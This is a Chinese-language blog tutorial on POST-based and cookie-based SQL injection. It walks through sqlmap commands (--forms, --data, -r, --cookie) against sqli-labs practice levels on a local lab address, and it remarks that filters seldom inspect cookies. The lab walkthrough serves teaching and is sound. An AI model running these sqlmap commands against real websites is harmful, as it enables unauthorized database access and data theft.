目錄
零、POST注入
POST和GET
尋找注入點
sqlmap注入
方法一
方法二
方法三
尋找注入點
sqlmap注入
方法一
方法二
零、POST注入
POST和GET
POST和GET是HTTP的兩種請求方法,并且是兩種最常用的請求方法
GET一般指向指定資源請求資料,而POST則是要向指定資源提交需要被處理的資料
查詢字串是在 GET 請求的 URL 中發送的,類似于這樣
![]()
而POST查詢字串是在 請求的 HTTP 訊息主體中發送的,類似于這樣
POST /test/demo.php HTTP/1.1
Host: www.test.com
name1=value1&name2=value2
- GET 請求可被快取,可以保留在瀏覽器歷史記錄中,可被收藏為書簽,不應在處理敏感資料時使用,有長度限制,只應當用于取回資料
- POST 請求不會被快取,不會保留在瀏覽器歷史記錄中,不能被收藏為書簽,請求對資料長度沒有要求
接下來使用sqlmap進行POST注入,會借助sqli-labs-master靶場第11、12、13關,總共介紹三種方法

尋找注入點
我們可以看到靶場是一個登錄框的樣子

先使用BurpSuite抓包檢測一下是否存在SQL注入 ,先將抓到的POST包發送至repeater

在uname后加一個單引號觸發報錯
現在就要利用該注入點來獲取資料,為了節約時間,采用sqlmap輔助進行,也是對工具的一個使用程序
sqlmap注入
方法一
使用 sqlmap 的 --forms 引數自動搜索表單
python sqlmap.py -u "http://192.168.8.128/sql/Less-11/" --forms
輸入后敲回車
POST http://192.168.8.128/sql/Less-11/
POST data: uname=&passwd=&submit=Submit
do you want to test this form? [Y/n/q]
問是不是要測驗這個表單,輸入 y 按回車即可,直接按回車也可以,默認輸入第一項
Edit POST data [default: uname=&passwd=&submit=Submit] (Warning: blank fields detected): uname=vegetable&passwd=admin123&submitsubmit
需要編輯測驗資料,填這個uname=vegetable&passwd=admin123&submitsubmit,和我們抓的包保持一致
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
說的是看起來像MySQL資料庫,是否選擇跳過其他資料庫,我選了yes
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
就是問是否要包括擴展提供的級別 (1) 和風險 (1) 值的“MySQL”的所有測驗,我選了yes
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
發現uname是一個注入點,問還要不要繼續測驗其他的,然后就OK了

接下來在嘗試爆庫,爆表,爆欄位和資料即可,不在演示,需要請參考前文sqlmap使用教程
方法二
這個方法使用 --data 來指定一個引數
python sqlmap.py -u "http://192.168.8.128/sql/Less-12/" --data "uname=vegetable&passwd=admin123&submit=submit"
uname是注入點,那就指定這個引數
用這個方法來測驗一下第12關,當然11關也可以啦,12關與11關的區別就是12關需要使用雙引號觸發報錯
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
問的問題也和剛才那一關大同小異

好了,廢話少說,介紹第三種方法吧
方法三
第三種方法使用BurpSuite先抓包,然后將資料包轉存至檔案中,在使用 -r 引數掃描該檔案
這次用第13關好了
python sqlmap.py -r "C:\Users\13090\Desktop\post.txt" -p uname
-p 是指定引數,還是指定uname
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N]
要通過模糊測驗找到合適的union列型別嗎,我選yes
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
注入不可利用 NULL 值,是否嘗試使用隨機整數值作為選項,選yes
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
然后就沒有然后了

壹、cookie注入
cookie
HTTP Cookie(也叫 Web Cookie 或瀏覽器 Cookie)是服務器發送到用戶瀏覽器并保存在本地的一小塊資料,它會在瀏覽器下次向同一服務器再發起請求時被攜帶并發送到服務器上,通常,它用于告知服務端兩個請求是否來自同一瀏覽器,如保持用戶的登錄狀態,Cookie 使基于無狀態的HTTP協議記錄穩定的狀態資訊成為了可能
防注入系統的常例:系統一般只會對GET、POST中的資料進行檢測,如果有特殊的字符就禁止資料的提交,但是很少檢測COOKIE中的資料資訊
cookie注入的原理是就是修改cookie的值進行注入,cookie注入其原理也和平時的注入一樣,只不過注入引數換成了cookie
尋找注入點
我們放掉第一個包后,用單引號觸發了報錯

sqlmap注入
方法一
使用sqlmap --cookie來檢測cookie注入
在此,也可以將等級設定的高一點,設到2或者3,我設到了3
python sqlmap.py -u "http://192.168.8.128/sql/Less-20/" --cookie="uname=admin" --level 3
do you want to try URI injections in the target URL itself? [Y/n/q]
在url本身中嘗試url注入,選了yes
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
如果沒有發現至少一種其他(潛在)技術,建議僅執行基本的 UNION 測驗,你想減少請求的數量嗎?yes
do you want to URL encode cookie values (implementation specific)? [Y/n]
是否對cookie值進行url編碼,yes
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (1) values? [Y/n]
對于剩余的測驗,您是否要包括擴展提供的級別 (3) 和風險 (1) 值的“MySQL”的所有測驗?
Cookie parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
cookie值uname易受攻擊

方法二
與之前提到的方法一樣,使用 -r 掃描檔案

先將burp抓的包保存至txt檔案中,然后掃描它
python sqlmap.py -r "C:\Users\13090\Desktop\post.txt" -p cookie
target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
目標 URL 內容不穩定(即內容不同),sqlmap 將基于序列匹配器進行頁面比較,如果未檢測到動態或可注射引數,或出現垃圾結果,請參閱用戶手冊“頁面比較”段落,我選擇了繼續
do you want to URL encode cookie values (implementation specific)? [Y/n]
是否對cookie值進行編碼?yes
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
(custom) HEADER parameter 'Cookie' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

好了,就簡單介紹到這里,over !!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/340656.html
標籤:其他
上一篇:2021全國職業技能大賽-網路安全賽題決議總結②(超詳細)
下一篇:swagger配置使用及安全方案
